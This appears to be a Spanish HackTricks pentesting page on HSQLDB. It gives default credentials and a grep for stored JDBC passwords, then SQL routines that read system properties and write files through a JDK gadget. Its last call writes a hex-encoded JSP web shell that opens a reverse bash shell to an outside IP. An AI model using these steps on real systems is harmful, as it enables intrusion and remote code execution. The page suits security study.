5.6 KiB
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el swag oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
HSQLDB (HyperSQL DataBase) es el principal sistema de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y admite modos integrados y de servidor.
Puerto predeterminado: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Información
Configuraciones Predeterminadas
Ten en cuenta que por defecto este servicio probablemente se esté ejecutando en memoria o está enlazado a localhost. Si lo encontraste, probablemente has explotado otro servicio y estás buscando escalar privilegios.
Las credenciales por defecto suelen ser sa
con una contraseña en blanco.
Si has explotado otro servicio, busca posibles credenciales usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Ten en cuenta el nombre de la base de datos cuidadosamente, lo necesitarás para conectarte.
Recopilación de información
Conéctate a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar
desde aquí. Ejecuta la aplicación GUI eww
usando java -jar hsqldb.jar
y conéctate a la instancia utilizando las credenciales descubiertas/débiles.
Ten en cuenta que la URL de conexión se verá algo así para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Trucos
Rutinas de lenguaje Java
Podemos llamar métodos estáticos de una clase Java desde HSQLDB utilizando Rutinas de Lenguaje Java. Ten en cuenta que la clase llamada debe estar en el classpath de la aplicación.
Las JRT pueden ser funciones
o procedimientos
. Las funciones pueden ser llamadas a través de declaraciones SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la declaración VALUES
.
Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración CALL
.
Leyendo Propiedades del Sistema Java
Crear función:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Ejecutar función:
VALUES(getsystemproperty('user.name'))
Puedes encontrar una lista de propiedades del sistema aquí.
Escribir Contenido en un Archivo
Puedes usar el gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
ubicado en el JDK cargado automáticamente en la ruta de clases de la aplicación
para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. Ten en cuenta el tamaño máximo de 1024 bytes.
Crear procedimiento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Ejecutar procedimiento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.